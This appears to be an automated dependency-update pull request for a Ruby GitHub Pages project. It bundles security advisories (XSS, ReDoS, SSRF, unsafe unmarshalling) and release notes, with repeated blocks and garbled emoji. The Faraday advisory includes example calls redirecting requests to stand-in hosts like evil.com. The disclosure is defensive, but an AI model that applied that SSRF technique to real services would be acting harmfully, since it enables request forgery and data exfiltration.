π¨ [security] Update activesupport 4.2.11.1 β 8.1.2.1 (major)
π¨ Your current dependencies have known security vulnerabilities π¨
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.
What changed?
βοΈ activesupport (indirect, 4.2.11.1 β 8.1.2.1) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
Impact
SafeBuffer#%does not propagate the@html_unsafeflag to the newly created buffer. If aSafeBufferis mutated in place (e.g. viagsub!) and then formatted with%using untrusted arguments, the result incorrectly reportshtml_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
Impact
NumberToDelimitedConverterused a regular expression withgsub!to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
Impact
NumberToDelimitedConverterused a regular expression withgsub!to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
Impact
SafeBuffer#%does not propagate the@html_unsafeflag to the newly created buffer. If aSafeBufferis mutated in place (e.g. viagsub!) and then formatted with%using untrusted arguments, the result incorrectly reportshtml_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
Impact
SafeBuffer#%does not propagate the@html_unsafeflag to the newly created buffer. If aSafeBufferis mutated in place (e.g. viagsub!) and then formatted with%using untrusted arguments, the result incorrectly reportshtml_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible DoS vulnerability in its number helpers
Impact
Active Support number helpers accept strings containing scientific notation (e.g.
1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible DoS vulnerability in its number helpers
Impact
Active Support number helpers accept strings containing scientific notation (e.g.
1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
Impact
NumberToDelimitedConverterused a regular expression withgsub!to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.Releases
The fixed releases are available at the normal locations.
π¨ Rails Active Support has a possible DoS vulnerability in its number helpers
Impact
Active Support number helpers accept strings containing scientific notation (e.g.
1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.Releases
The fixed releases are available at the normal locations.
π¨ Active Support Possibly Discloses Locally Encrypted Files
There is a possible file disclosure of locally encrypted files in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-38037.
Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 7.0.7.1, 6.1.7.5
Impact
ActiveSupport::EncryptedFile writes contents that will be encrypted to a temporary file. The temporary fileβs permissions are defaulted to the userβs current umask settings, meaning that itβs possible for other users on the same system to read the contents of the temporary file.
Attackers that have access to the file system could possibly read the contents of this temporary file while a user is editing it.
All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases
The fixed releases are available at the normal locations.
Workarounds
To work around this issue, you can set your umask to be more restrictive like this:
$ umask 0077
π¨ Active Support Possibly Discloses Locally Encrypted Files
There is a possible file disclosure of locally encrypted files in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-38037.
Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 7.0.7.1, 6.1.7.5
Impact
ActiveSupport::EncryptedFile writes contents that will be encrypted to a temporary file. The temporary fileβs permissions are defaulted to the userβs current umask settings, meaning that itβs possible for other users on the same system to read the contents of the temporary file.
Attackers that have access to the file system could possibly read the contents of this temporary file while a user is editing it.
All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases
The fixed releases are available at the normal locations.
Workarounds
To work around this issue, you can set your umask to be more restrictive like this:
$ umask 0077
π¨ Possible XSS Security Vulnerability in SafeBuffer#bytesplice
There is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input.
This vulnerability has been assigned the CVE identifier CVE-2023-28120.Versions Affected: All. Not affected: None Fixed Versions: 7.0.4.3, 6.1.7.3
Impact
ActiveSupport uses the SafeBuffer string subclass to tag strings as html_safe after they have been sanitized.
When these strings are mutated, the tag is should be removed to mark them as no longer being html_safe.Ruby 3.2 introduced a new bytesplice method which ActiveSupport did not yet understand to be a mutation.
Users on older versions of Ruby are likely unaffected.All users running an affected release and using bytesplice should either upgrade or use one of the workarounds immediately.
Workarounds
Avoid calling bytesplice on a SafeBuffer (html_safe) string with untrusted user input.
π¨ Possible XSS Security Vulnerability in SafeBuffer#bytesplice
There is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input.
This vulnerability has been assigned the CVE identifier CVE-2023-28120.Versions Affected: All. Not affected: None Fixed Versions: 7.0.4.3, 6.1.7.3
Impact
ActiveSupport uses the SafeBuffer string subclass to tag strings as html_safe after they have been sanitized.
When these strings are mutated, the tag is should be removed to mark them as no longer being html_safe.Ruby 3.2 introduced a new bytesplice method which ActiveSupport did not yet understand to be a mutation.
Users on older versions of Ruby are likely unaffected.All users running an affected release and using bytesplice should either upgrade or use one of the workarounds immediately.
Workarounds
Avoid calling bytesplice on a SafeBuffer (html_safe) string with untrusted user input.
π¨ ReDoS based DoS vulnerability in Active Support's underscore
There is a possible regular expression based DoS vulnerability in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-22796.
Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1
ImpactA specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.
This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.
All users running an affected release should either upgrade or use one of the workarounds immediately.
ReleasesThe FIXED releases are available at the normal locations.
WorkaroundsThere are no feasible workarounds for this issue.
Users on Ruby 3.2.0 or greater may be able to reduce the impact by configuring Regexp.timeout.
PatchesTo aid users who arenβt able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 6.1 series 7-0-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 7.0 seriesPlease note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.
π¨ ReDoS based DoS vulnerability in Active Support's underscore
There is a possible regular expression based DoS vulnerability in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-22796.
Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1
ImpactA specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.
This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.
All users running an affected release should either upgrade or use one of the workarounds immediately.
ReleasesThe FIXED releases are available at the normal locations.
WorkaroundsThere are no feasible workarounds for this issue.
Users on Ruby 3.2.0 or greater may be able to reduce the impact by configuring Regexp.timeout.
PatchesTo aid users who arenβt able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 6.1 series 7-0-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 7.0 seriesPlease note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.
π¨ ActiveSupport potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore
In ActiveSupport, there is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when
untrusted user input is written to the cache store using theraw: trueparameter, re-reading the result
from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:data = cache.fetch("demo", raw: true) { untrusted_string }Versions Affected: rails < 5.2.5, rails < 6.0.4
Not affected: Applications not using MemCacheStore or RedisCacheStore. Applications that do not use therawoption when storing untrusted user input.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1Impact
Unmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,
this vulnerability allows an attacker to inject untrusted Ruby objects into a web application.
In addition to upgrading to the latest versions of Rails, developers should ensure that whenever
they are callingRails.cache.fetchthey are using consistent values of therawparameter for both
reading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,
detect if data was serialized using the raw option upon deserialization.Workarounds
It is recommended that application developers apply the suggested patch or upgrade to the latest release as
soon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using
therawargument should be double-checked to ensure that they conform to the expected format.
π¨ ActiveSupport potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore
In ActiveSupport, there is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when
untrusted user input is written to the cache store using theraw: trueparameter, re-reading the result
from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:data = cache.fetch("demo", raw: true) { untrusted_string }Versions Affected: rails < 5.2.5, rails < 6.0.4
Not affected: Applications not using MemCacheStore or RedisCacheStore. Applications that do not use therawoption when storing untrusted user input.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1Impact
Unmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,
this vulnerability allows an attacker to inject untrusted Ruby objects into a web application.
In addition to upgrading to the latest versions of Rails, developers should ensure that whenever
they are callingRails.cache.fetchthey are using consistent values of therawparameter for both
reading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,
detect if data was serialized using the raw option upon deserialization.Workarounds
It is recommended that application developers apply the suggested patch or upgrade to the latest release as
soon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using
therawargument should be double-checked to ensure that they conform to the expected format.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 5 commits:
β³οΈ github-pages (200 β 232) Β· Repo
Release Notes
Too many releases to show here. View the full release notes.
Sorry, we couldnβt find anything useful about this release.
β³οΈ html-proofer (3.11.1 β 5.2.0) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ addressable (indirect, 2.7.0 β 2.8.9) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Regular Expression Denial of Service in Addressable templates
Impact
Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected.
Patches
The vulnerability was introduced in version 2.3.0 (previously yanked) and has been present in all subsequent versions up to, and including, 2.7.0. It is fixed in version 2.8.0.
Workarounds
The vulnerability can be avoided by only creating Template objects from trusted sources that have been validated not to produce catastrophic backtracking.
References
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://cwe.mitre.org/data/definitions/1333.html
- https://www.regular-expressions.info/catastrophic.html
For more information
If you have any questions or comments about this advisory:
Release Notes
2.8.9 (from changelog)
2.8.8 (from changelog)
2.8.7 (from changelog)
- Allow
public_suffix6 (#535)
2.8.6 (from changelog)
- Memoize regexps for common character classes (#524)
2.8.5 (from changelog)
2.8.4 (from changelog)
- Restore
Addressable::IDNA.unicode_normalize_kcas a deprecated method (#504)
2.8.3 (from changelog)
2.8.2 (from changelog)
- Improve cache hits and JIT friendliness (#486)
- Improve code style and test coverage (#482)
- Ensure reset of deferred validation (#481)
- Resolve normalization differences between
IDNA::NativeandIDNA::Pure(#408, #492)- Remove redundant colon in
Addressable::URI::CharacterClasses::AUTHORITYregex (#438) (accidentally reverted by #449 merge but added back in #492)
2.8.1 (from changelog)
- refactor
Addressable::URI.normalize_pathto address linter offenses (#430)- remove redundant colon in
Addressable::URI::CharacterClasses::AUTHORITYregex (#438)- update gemspec to reflect supported Ruby versions (#466, #464, #463)
- compatibility w/ public_suffix 5.x (#466, #465, #460)
- fixes "invalid byte sequence in UTF-8" exception when unencoding URLs containing non UTF-8 characters (#459)
Ractorcompatibility (#449)- use the whole string instead of a single line for template match (#431)
- force UTF-8 encoding only if needed (#341)
2.8.0 (from changelog)
- fixes ReDoS vulnerability in Addressable::Template#match
- no longer replaces
+with spaces in queries for non-http(s) schemes- fixed encoding ipv6 literals
- the
:compactedflag fornormalized_querynow dedupes parameters- fix broken
escape_componentalias- dropping support for Ruby 2.0 and 2.1
- adding Ruby 3.0 compatibility for development tasks
- drop support for
rack-mountand remove Addressable::Template#generate- performance improvements
- switch CI/CD to GitHub Actions
Does any of this look wrong? Please let us know.
βοΈ coffee-script-source (indirect, 1.11.1 β 1.12.2) Β· Repo
Sorry, we couldnβt find anything useful about this release.
βοΈ commonmarker (indirect, 0.17.13 β 0.23.12) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Several quadratic complexity bugs may lead to denial of service in Commonmarker
Impact
Several quadratic complexity bugs in commonmarker's underlying
cmark-gfmlibrary may lead to unbounded resource exhaustion and subsequent denial of service.The following vulnerabilities were addressed:
For more information, consult the release notes for version
0.29.0.gfm.12.Mitigation
Users are advised to upgrade to commonmarker version
0.23.10.
π¨ Commonmarker vulnerable to to several quadratic complexity bugs that may lead to denial of service
Impact
Several quadratic complexity bugs in commonmarker's underlying
cmark-gfmlibrary may lead to unbounded resource exhaustion and subsequent denial of service.The following vulnerabilities were addressed:
For more information, consult the release notes for version
0.23.0.gfm.10and0.23.0.gfm.11.Mitigation
Users are advised to upgrade to commonmarker version
0.23.9.
π¨ Several quadratic complexity bugs may lead to denial of service in Commonmarker
Impact
Several quadratic complexity bugs in commonmarker's underlying
cmark-gfmlibrary may lead to unbounded resource exhaustion and subsequent denial of service.The following vulnerabilities were addressed:
For more information, consult the release notes for version
0.23.0.gfm.7.Mitigation
Users are advised to upgrade to commonmarker version
0.23.7.
π¨ Unbounded resource exhaustion in cmark-gfm autolink extension may lead to denial of service
Impact
CommonMarker uses
cmark-gfmfor rendering Github Flavored Markdown. A polynomial time complexity issue in cmark-gfm's autolink extension may lead to unbounded resource exhaustion and subsequent denial of service.Patches
This vulnerability has been patched in the following CommonMarker release:
- v0.23.6
Workarounds
Disable use of the autolink extension.
References
#190
GHSA-cgh3-p57x-9q7q
https://en.wikipedia.org/wiki/Time_complexityFor more information
If you have any questions or comments about this advisory:
- Open an issue in github/cmark-gfm
Acknowledgements
We would like to thank Legit Security for reporting this vulnerability.
π¨ Integer overflow in cmark-gfm table parsing extension leads to heap memory corruption
Impact
CommonMarker uses
cmark-gfmfor rendering Github Flavored Markdown. An integer overflow incmark-gfm's table row parsing may lead to heap memory corruption when parsing tables who's marker rows contain more than UINT16_MAX columns. The impact of this heap corruption ranges from Information Leak to Arbitrary Code Execution.If affected versions of CommonMarker are used for rendering remote user controlled markdown, this vulnerability may lead to Remote Code Execution (RCE).
Patches
This vulnerability has been patched in the following CommonMarker release:
- v0.23.4
Workarounds
The vulnerability exists in the table markdown extensions of
cmark-gfm. Disabling any use of the table extension will prevent this vulnerability from being triggered.References
Acknowledgements
We would like to thank Felix Wilhelm of Google's Project Zero for reporting this vulnerability
For more information
If you have any questions or comments about this advisory:
- Open an issue in CommonMarker
Release Notes
0.23.12
Full Changelog: v0.23.11...v0.23.12
0.23.11
What's Changed
- [0.x] Fix memory leaks of string buffers by @jhawthorn in #320
New Contributors
- @jhawthorn made their first contribution in #320
Full Changelog: v0.23.10...v0.23.11
0.23.10
What's Changed
- Update to 0.29.0.gfm.13 by @anticomputer in #247
Full Changelog: v0.23.9...v0.23.10
0.23.9
What's Changed
- Update to 0.29.0.gfm.11 by @anticomputer in #236
Full Changelog: v0.23.8...v0.23.9
0.23.8
What's Changed
New Contributors
Full Changelog: v0.23.7...v0.23.8
0.23.7
What's Changed
- C API stable test by @gjtorikian in #201
- Update to 29.0.gfm.7 by @anticomputer in #224
Full Changelog: v0.23.6...v0.23.7
0.23.6
What's Changed
This release includes two updates from the upstream
cmark-gfmlibrary, namely:
0.22.0
- Drop ruby-enum (#140)
0.21.0
- Add support for
tasklist_item_checked=: #116
0.19.0
0.18.0
- Default to being safe: #81
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ concurrent-ruby (indirect, 1.1.5 β 1.3.6) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ dnsruby (indirect, 1.61.3 β 1.73.1) Β· Repo
Sorry, we couldnβt find anything useful about this release.
βοΈ em-websocket (indirect, 0.5.1 β 0.5.3) Β· Repo Β· Changelog
Commits
See the full diff on Github. The new version differs by 24 commits:
v0.5.3Merge pull request #156 from fagiani/patch-1Merge pull request #159 from JamesVorder/masterAllow newer versions of http_parser until v1.0.0Allow newer versions of http_parserAdd healthcheck endpointrubyforge_project is deprecated, drop. closes #155Merge pull request #149 from pusher-community/delay-pongDelay pong responses to reduce number of pings from WebSocket clients sitting in a loopMerge pull request #146 from at1as/update-rspectest fixupdate rspec to be compatible with latest rake versionMerge pull request #145 from bkoski/masteradded a 200 OK response at /healthcheckMerge pull request #134 from chrismar035/patch-1Add license to gemspecMerge pull request #132 from patriciomacadden/fix-broken-linkFix broken link.Added separate licence, closes #124Merge pull request #123 from zimbatm/outbound_limitAdds an optional :outbound_limit settingRecord for which reason the connection got abortedMerge pull request #107 from janlelis/masterAdded remote_ip method closes #104
βοΈ ethon (indirect, 0.12.0 β 0.18.0) Β· Repo Β· Changelog
Release Notes
0.18.0 (from changelog)
- Fixed verbose mode attempting to print binary SSL data by replacing it with a summary. (Felipe Mesquita, #265)
- Fixed
on_headerscallbacks being called once per header line instead of once for all headers. (Felipe Mesquita, #264)- Stabilized test server boot on macOS by fixing IPv6/IPv4 localhost resolution and preventing orphaned processes. (Geremia Taglialatela, #261)
- Added
loggerto runtime dependencies for Ruby 3.5+ compatibility. (Geremia Taglialatela, #259)- Opted-in for MFA requirement explicitly by adding
rubygems_mfa_requiredmetadata. (Geremia Taglialatela, #257)- Removed redundant encoding and require_relative checks. (Geremia Taglialatela, #258)
0.17.0 (from changelog)
- Require Ruby 2.6+ and simplify Gemfile. (Felipe Mesquita, #255)
- Fixed mismatched libcurl error codes in
easy_codesarray. (Felipe Mesquita, #253)- Add Ruby 3.3 and 3.4, remove Ruby 2.5 from CI matrix. (Felipe Mesquita, #252)
- Skip test due to libcurl 8.7.x bug in CURLINFO_REQUEST_SIZE. (Felipe Mesquita, #251)
- Use
Rackup::Handler.defaultfor Rack 3 compatibility. (VΓt Ondruch, #244)- Add Ruby 3.1 and 3.2 to the test matrix. (Orien Madgwick, #228)
- Remove development and test files from the gem package. (Orien Madgwick, #227)
- Fix missing parenthesis in example. (Aleksey Tsalolikhin, #226)
0.15.0 (from changelog)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ execjs (indirect, 2.7.0 β 2.10.0) Β· Repo
Release Notes
2.8.1
- Wait for STDOUT to be flushed before exiting the node runtime
2.8.0
- Fix Ruby 3.0 compatibility on Windows
- Undefine
console,processand other globals. See #43- Removed the
RubyRacerruntime as it is no longer maintained and broken on recent rubies.- Node runtime look for
nodebeforenodejs.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ faraday (indirect, 0.16.2 β 2.14.1) Β· Repo Β· Changelog
Security Advisories π¨
π¨ Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Impact
Faraday's
build_exclusive_urlmethod (inlib/faraday/connection.rb) uses Ruby's
URI#mergeto combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g.//evil.com/path) are treated as network-path references
that override the base URL's host/authority component.This means that if any application passes user-controlled input to Faraday's
get(),
post(),build_url(), or other request methods, an attacker can supply a
protocol-relative URL like//attacker.com/endpointto redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).The
./prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.Example:
conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.comPatches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input) raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]}) user_input end
π¨ Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Impact
Faraday's
build_exclusive_urlmethod (inlib/faraday/connection.rb) uses Ruby's
URI#mergeto combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g.//evil.com/path) are treated as network-path references
that override the base URL's host/authority component.This means that if any application passes user-controlled input to Faraday's
get(),
post(),build_url(), or other request methods, an attacker can supply a
protocol-relative URL like//attacker.com/endpointto redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).The
./prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.Example:
conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.comPatches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input) raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]}) user_input end
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ ffi (indirect, 1.11.1 β 1.17.3) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ gemoji (indirect, 3.0.1 β 4.1.0) Β· Repo
Release Notes
4.1.0
What's Changed
- Import Emoji 15.0 characters by @mislav in #261
- Support skin tones for
π§βπ€βπ§ emoji by @mislav in #262Full Changelog: v4.0.1...v4.1.0
4.0.1
What's Changed
New Contributors
Full Changelog: v4.0.0...v4.0.1
4.0.0
What's New
Warning
See the v4.0.0.pre0 release notes for the list of breaking changes since gemoji v3.x.
Add skin tones support by @mislav in #165 βπ»βπΌβπ½βπΎβπΏ
Emoji.find_by_unicode()now recognizes emoji sequences with skin tone modifiers.Emoji::Character#skin_tones?returns true when an emoji supports skin tone modifiers.Emoji::Character#raw_skin_tone_variantsgenerates a list of all 5 skin tone variants for an emoji.Import Emoji 13.1 characters by @franciscorode in #209
Import Emoji 14.0 characters by @kardeslik in #244
What's Changed
- Fix ArgumentError in emoji-test-parser by @JuanitoFatas in #169
- Remove underscore from "piΓ±ata" by @PurpleBooth in #182
- Safely transliterate international characters for aliases by @PurpleBooth in #181
- Sort out
envelopeand- Set up CI via GitHub Actions by @mislav in #183 #252
- Touch up emoji integrity tests by @mislav in #253
New Contributors
- @JuanitoFatas made their first contribution in #169
- @chvp made their first contribution in #173
- @PurpleBooth made their first contribution in #182
- @jobveldhuis made their first contribution in #185
- @franciscorode made their first contribution in #209
- @kardeslik made their first contribution in #244
Full Changelog: v4.0.0.pre0...v4.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ github-pages-health-check (indirect, 1.16.1 β 1.18.2) Β· Repo
Release Notes
1.18.2
octokit upgrade
1.18.1
- Updates Cloudflare IPs to latest output of script/update-cloudflare-ips
- Add
_domain name validation
1.17.9
What's Changed
- Fix IPv6 support (
AAAArecords validation) in #140Full Changelog: v1.17.8...v1.17.9
1.17.8
What's Changed
- Require bundler in script/check to avoid needing to run
bundle exec. by @jriggins in #137- Remove Travis builds by @jriggins in #138
- Add AAAA Support by @jriggins in #136
- Bump version to 1.17.8 by @jriggins in #139
Full Changelog: v1.17.7...v1.17.8
1.17.6
- Query DNS to Determine Apex Domains
1.17.2
Allows for non-200 requests to satisfy
served_by_pages?if the response still looks like it was served by GitHub.
1.17.1
Update Cloudflare IPs.
1.17.0
- Fix CI which is broken on master #115 (by @kytrinyx)
- Silence warnings triggered by Ruby 2.7 #116 (by @kytrinyx)
- Update dependencies to be compatible with Ruby 2.7 #117 (by @kytrinyx)
- Update dotenv requirement from ~> 1.0 to ~> 2.7 #120 (dependabot)
- Update gem-release requirement from ~> 0.7 to ~> 2.1 #119 (dependabot)
- Update webmock requirement from ~> 1.21 to ~> 3.8 #118 (dependabot)
- Upgrade to Ruby 2.7 & incorporate a Dockerfile #121 (by @parkr & @MarkTiedemann)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ html-pipeline (indirect, 2.12.0 β 2.14.3) Β· Repo Β· Changelog
Commits
See the full diff on Github. The new version differs by 54 commits:
:gem: bump to 2.14.3Merge pull request #365 from ramhoj/use-cgi-escape-htmlReplace EscapeUtils.escape_html with CGI.escape_html:gem: bump to 2.14.2Merge pull request #361 from glaszig/data-urlhandle invalid data urls in absolute source filterProperly release v2.14.x:gem: bump to 2.13.2Merge pull request #341 from kazk/fix-unsafe-custom-renderer-missing-pre-langFix custom renderer with unsafe option missing pre lang:gem: bump to 2.13.1Merge pull request #338 from pedrozath/patch-1Merge pull request #337 from BhuvnendraPratapSingh/masterMerge pull request #339 from tancnle/replace-whitelist-languageReplace whitelist wording with a more neutral oneallows progress tags to be usedUpdate README.mdMerge pull request #335 from mnishiguchi/mnishiguchi/autolink-configurabilityMake AutolinkFilter configurable:gem: bump to 2.13.0Merge pull request #332 from eric-wieser/patch-1Allow `role` attributes in html tagsMerge pull request #329 from jch/jch-patch-1Update README.mdCreate FUNDING.ymlMerge pull request #326 from jch/update-changelogsUpdate CHANGELOG from 2.12.1 to 2.12.3:gem: bump to 2.12.3Merge pull request #325 from jch/syntax-highlight-filter/unused-code-and-docsMerge pull request #324 from jch/syntax-highlight-filter/patch-1Improve documents of SyntaxHighlightFilterGenerated class should also be under scopeRemove unused code[SyntaxHighlightFilter] Reuse found lexerMerge pull request #323 from jch/doc/readmeFix link of Rouge CSS Theme:gem: bump to 2.12.2Merge pull request #322 from jch/allow-bad-tagsappraisalssssPass unsafe to custom renderer, tooAdd some focusadd tests for removing tagfilter extension:gem: bump to 2.12.1Merge pull request #320 from jch/default-symbolsMake this list a constMerge pull request #319 from smudge/masterupdate travis configAdd Rails 6.0 appraisalRegenerate appraisals (new ruby syntax)Merge pull request #318 from jch/allow-for-rendererAdd ability to pass custom renderer to MarkdownFilterMerge pull request #316 from sj26/update-changelogUpdate changelogMake changelog consistent
βοΈ http_parser.rb (indirect, 0.6.0 β 0.8.1) Β· Repo
Commits
See the full diff on Github. The new version differs by 69 commits:
v0.8.1Merge pull request #87 from nobu/typed-dataUse typed data APIsMerge pull request #86 from mtasaka/ruby35-ractor-fixCI: Add ruby headbugfix: support ruby3.5.0dev Ractor changeMerge pull request #83 from kenhys/ci-updateCI: Drop Ruby 2.7 & 3.0ci: Use latest actions/checkout@v4 for CIci: Add missing Ruby 3.3/3.4 for CIMerge pull request #82 from amatsuda/exclude_specs_from_gem_packageExclude spec files from gem packageMerge pull request #77 from tmm1/replace-file_existsReplace obsolete File.exists? with File exist?Merge pull request #76 from tmm1/ci-ruby-3.2CI: Update Rubyv0.8.0Merge pull request #73 from tmm1/fix-jruby-supportRevert "CI: Add JRuby"spec: Use appropriate encoding to check request_url & statusMake sure to inject rake task dependenciesCI: Add JRubyDisable test for status on JRubyRevert "Add status support to JRuby"Merge pull request #74 from tagomoris/make-ractor-safeit does not need extreme performancecheck the number of arguments for the saferename the unappropriate nameupdate specs about Ractor/kwargadd kwarg to avoid specifying (nil, type)avoid referring class instance variable if possiblemark all threads are ractor-safeMerge pull request #63 from jcoglan/check-header-value-typev0.7.0Add bundler/gem_tasksMerge pull request #71 from ashie/migrate-ciCI: Migrate from Travis CI to GitHub ActionsCheck value passed to set_header_value_typeMerge pull request #59 from saper/https-submodulesUse HTTPS to download submodulesFix path with spacesMerge pull request #54 from fantasticfears/dependencyMerge branch 'master' into dependencyMerge pull request #57 from ykzts/http-parser-v2.8.1Update http-parser to version 2.8.1test modern rubiesUpdate dependencyMerge pull request #42 from robertjpayne/masterMerge pull request #48 from cosmo0920/follow-rspec-option-changesFollow rspec option name change and use long 